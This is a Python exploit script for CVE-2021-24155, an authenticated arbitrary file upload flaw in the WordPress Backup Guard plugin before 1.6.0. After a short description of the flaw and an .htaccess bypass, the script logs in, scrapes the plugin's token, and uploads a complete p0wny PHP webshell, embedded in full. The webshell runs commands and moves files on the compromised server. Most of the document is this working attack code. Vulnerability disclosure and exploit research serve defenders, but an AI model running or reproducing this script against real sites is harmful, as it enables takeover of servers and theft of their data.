# Exploit Title: Wordpress Plugin Backup Guard 1.5.8 - Remote Code Execution (Authenticated)
# Date 02.07.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://backup-guard.com/products/backup-wordpress
# Software Link: https://downloads.wordpress.org/plugin/backup.1.5.8.zip
# Version: Before 1.6.0
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24155
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24155/README.md
'''
Description:
The plugin did not ensure that the imported files are of the SGBP format and extension,
allowing high privilege users (admin+) to upload arbitrary files, including PHP ones, leading to RCE.
Additional Info, and Bypass of .htaccess protection found by WPScanTeam, while confirming the issue:
There is a protection in place against accessing the uploaded files,
via a .htaccess in the wp-content/uploads/backup-guard/ folder, however:
- Some web servers do not support .htaccess, e.g Nginx, making it useless in such case
- Arbitrary content can be appended to the existing .htaccess, to make the deny from all invalid,
and bypass the protection on web servers such as Apache
Note: v1.6.0 forced the uploaded file to have the .sgbp extension by adding it if not present,
but the file content is not verified, which could still allow chaining with an issue
such as LFI or Arbitrary File Renaming to achieve RCE
'''
'''
Banner:
'''
banner = """
______ _______ ____ ___ ____ _ ____ _ _ _ ____ ____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \| || | / | ___| ___|
| | \ \ / /| _| _____ __) | | | |__) | |_____ __) | || |_| |___ \___ \
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__ _| |___) |__) |
\____| \_/ |_____| |_____|\___/_____|_| |_____| |_| |_|____/____/
* Wordpress Plugin Backup Guard < 1.6.0 - RCE (Authenticated)
* @Hacker5preme
"""
print(banner)
'''
Import required modules:
'''
import requests
import argparse
'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin Backup Guard < 1.6.0 - RCE (Authenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
print('')
'''
Authentication:
'''
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
# Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
# Body:
body = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'testcookie': '1'
}
# Authenticate:
print('')
auth = session.post(auth_url, headers=header, data=body)
auth_header = auth.headers['Set-Cookie']
if 'wordpress_logged_in' in auth_header:
print('[+] Authentication successfull !')
else:
print('[-] Authentication failed !')
exit()
'''
Retrieve Token for backup:
'''
token_url = "http://" + target_ip + ':' + target_port + wp_path + '/wp-admin/admin.php?page=backup_guard_backups'
# Header (Token):
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://" + target_ip + ':' + target_port + wp_path + '/wp-admin/users.php',
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
# Get Token:
print('')
print('[+] Grabbing unique Backup Plugin Wordpress Token:')
token_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin.php?page=backup_guard_backups'
init_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/index.php'
init_request = session.get(init_url).text
token_request = session.get(token_url).text
token_start_in = token_request.find('&token=')
token_start_in = token_request[token_start_in + 7:]
token = token_start_in[:token_start_in.find('"')]
print(' -> Token: ' + token)
'''
Exploit:
'''
print('')
print('[*] Starting Exploit:')
exploit_url = "http://" + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php?action=backup_guard_importBackup&token=' + token
# Header (Exploit):
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Referer": 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin.php?page=backup_guard_backups',
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "multipart/form-data; boundary=---------------------------17366980624047956771255332862",
"Origin": 'http://' + target_ip,
"Connection": "close"
}
# Body (Exploit): Using p0wny shell: https://github.com/flozz/p0wny-shell
body = "-----------------------------17366980624047956771255332862\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"shell.php\"\r\nContent-Type: image/png\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n display: flex;\n flex-direction: column;\n align-items: stretch;\n }\n\n #shell-content {\n height: 500px;\n overflow: auto;\n padding: 5px;\n white-space: pre-wrap;\n flex-grow: 1;\n }\n\n #shell-logo {\n font-weight: bold;\n color: #FF4180;\n text-align: center;\n }\n\n @media (max-width: 991px) {\n #shell-logo {\n font-size: 6px;\n margin: -25px 0;\n }\n\n html, body, #shell {\n height: 100%;\n width: 100%;\n max-width: none;\n }\n\n #shell {\n margin-top: 0;\n }\n }\n\n @media (max-width: 767px) {\n #shell-input {\n flex-direction: column;\n }\n }\n\n @media (max-width: 320px) {\n #shell-logo {\n font-size: 5px;\n }\n }\n\n .shell-prompt {\n font-weight: bold;\n color: #75DF0B;\n }\n\n .shell-prompt > span {\n color: #1BC9E7;\n }\n\n #shell-input {\n display: flex;\n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n border-top: rgba(255, 255, 255, .05) solid 1px;\n }\n\n #shell-input > label {\n flex-grow: 0;\n display: block;\n padding: 0 5px;\n height: 30px;\n line-height: 30px;\n }\n\n #shell-input #shell-cmd {\n height: 30px;\n line-height: 30px;\n border: none;\n background: transparent;\n color: #eee;\n font-family: monospace;\n font-size: 10pt;\n width: 100%;\n align-self: center;\n }\n\n #shell-input div {\n flex-grow: 1;\n align-items: stretch;\n }\n\n #shell-input input {\n outline: none;\n }\n </style>\n\n <script>\n var CWD = null;\n var commandHistory = [];\n var historyPosition = 0;\n var eShellCmdInput = null;\n var eShellContent = null;\n\n function _insertCommand(command) {\n eShellContent.innerHTML += \"\\n\\n\";\n eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n eShellContent.innerHTML += escapeHtml(command);\n eShellContent.innerHTML += \"\\n\";\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _insertStdout(stdout) {\n eShellContent.innerHTML += escapeHtml(stdout);\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _defer(callback) {\n setTimeout(callback, 0);\n }\n\n function featureShell(command) {\n\n _insertCommand(command);\n if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n } else if (/^\\s*clear\\s*$/.test(command)) {\n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n eShellContent.innerHTML = '';\n } else {\n makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n if (response.hasOwnProperty('file')) {\n featureDownload(response.name, response.file)\n } else {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n }\n });\n }\n }\n\n function featureHint() {\n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete\n\n function _requestCallback(data) {\n if (data.files.length <= 1) return; // no completion\n\n if (data.files.length === 2) {\n if (type === 'cmd') {\n eShellCmdInput.value = data.files[0];\n } else {\n var currentValue = eShellCmdInput.value;\n eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n }\n } else {\n _insertCommand(eShellCmdInput.value);\n _insertStdout(data.files.join(\"\\n\"));\n }\n }\n\n var currentCmd = eShellCmdInput.value.split(\" \");\n var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n makeRequest(\n \"?feature=hint\",\n {\n filename: fileName,\n cwd: CWD,\n type: type\n },\n _requestCallback\n );\n\n }\n\n function featureDownload(name, file) {\n var element = document.createElement('a');\n element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n element.setAttribute('download', name);\n element.style.display = 'none';\n document.body.appendChild(element);\n element.click();\n document.body.removeChild(element);\n _insertStdout('Done.');\n }\n\n function featureUpload(path) {\n var element = document.createElement('input');\n element.setAttribute('type', 'file');\n element.style.display = 'none';\n document.body.appendChild(element);\n element.addEventListener('change', function () {\n var promise = getBase64(element.files[0]);\n promise.then(function (file) {\n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n });\n }, function () {\n _insertStdout('An unknown client-side error occurred.');\n });\n });\n element.click();\n document.body.removeChild(element);\n }\n\n function getBase64(file, onLoadCallback) {\n return new Promise(function(resolve, reject) {\n var reader = new FileReader();\n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n reader.onerror = reject;\n reader.readAsDataURL(file);\n });\n }\n\n function genPrompt(cwd) {\n cwd = cwd || \"~\";\n var shortCwd = cwd;\n if (cwd.split(\"/\").length > 3) {\n var splittedCwd = cwd.split(\"/\");\n shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n }\n return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n }\n\n function updateCwd(cwd) {\n if (cwd) {\n CWD = cwd;\n _updatePrompt();\n return;\n }\n makeRequest(\"?feature=pwd\", {}, function(response) {\n CWD = response.cwd;\n _updatePrompt();\n });\n\n }\n\n function escapeHtml(string) {\n return string\n .replace(/&/g, \"&\")\n .replace(/</g, \"<\")\n .replace(/>/g, \">\");\n }\n\n function _updatePrompt() {\n var eShellPrompt = document.getElementById(\"shell-prompt\");\n eShellPrompt.innerHTML = genPrompt(CWD);\n }\n\n function _onShellCmdKeyDown(event) {\n switch (event.key) {\n case \"Enter\":\n featureShell(eShellCmdInput.value);\n insertToHistory(eShellCmdInput.value);\n eShellCmdInput.value = \"\";\n break;\n case \"ArrowUp\":\n if (historyPosition > 0) {\n historyPosition--;\n eShellCmdInput.blur();\n eShellCmdInput.value = commandHistory[historyPosition];\n _defer(function() {\n eShellCmdInput.focus();\n });\n }\n break;\n case \"ArrowDown\":\n if (historyPosition >= commandHistory.length) {\n break;\n }\n historyPosition++;\n if (historyPosition === commandHistory.length) {\n eShellCmdInput.value = \"\";\n } else {\n eShellCmdInput.blur();\n eShellCmdInput.focus();\n eShellCmdInput.value = commandHistory[historyPosition];\n }\n break;\n case 'Tab':\n event.preventDefault();\n featureHint();\n break;\n }\n }\n\n function insertToHistory(cmd) {\n commandHistory.push(cmd);\n historyPosition = commandHistory.length;\n }\n\n function makeRequest(url, params, callback) {\n function getQueryString() {\n var a = [];\n for (var key in params) {\n if (params.hasOwnProperty(key)) {\n a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n }\n }\n return a.join(\"&\");\n }\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", url, true);\n xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n xhr.onreadystatechange = function() {\n if (xhr.readyState === 4 && xhr.status === 200) {\n try {\n var responseJson = JSON.parse(xhr.responseText);\n callback(responseJson);\n } catch (error) {\n alert(\"Error while parsing response: \" + error);\n }\n }\n };\n xhr.send(getQueryString());\n }\n\n document.onclick = function(event) {\n event = event || window.event;\n var selection = window.getSelection();\n var target = event.target || event.srcElement;\n\n if (target.tagName === \"SELECT\") {\n return;\n }\n\n if (!selection.toString()) {\n eShellCmdInput.focus();\n }\n };\n\n window.onload = function() {\n eShellCmdInput = document.getElementById(\"shell-cmd\");\n eShellContent = document.getElementById(\"shell-content\");\n updateCwd();\n eShellCmdInput.focus();\n };\n </script>\n </head>\n\n <body>\n <div id=\"shell\">\n <pre id=\"shell-content\">\n <div id=\"shell-logo\">\n ___ ____ _ _ _ _ _ <span></span>\n _ __ / _ \\__ ___ __ _ _ / __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_ .. _|<span></span>\n| |_) | |_| |\\ V V /| | | | |_| | | (_| \\__ \\ | | | __/ | |_ |_ _|<span></span>\n| .__/ \\___/ \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_) |_||_| <span></span>\n|_| |___/ \\____/ <span></span>\n </div>\n </pre>\n <div id=\"shell-input\">\n <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n <div>\n <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n </div>\n </div>\n </div>\n </body>\n\n</html>\n\r\n-----------------------------17366980624047956771255332862--\r\n"
session.post(exploit_url, headers=header, data=body)
print('[+] Exploit done !')
print(' -> Webshell uploaded to: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/backup-guard/shell.php')
print('')
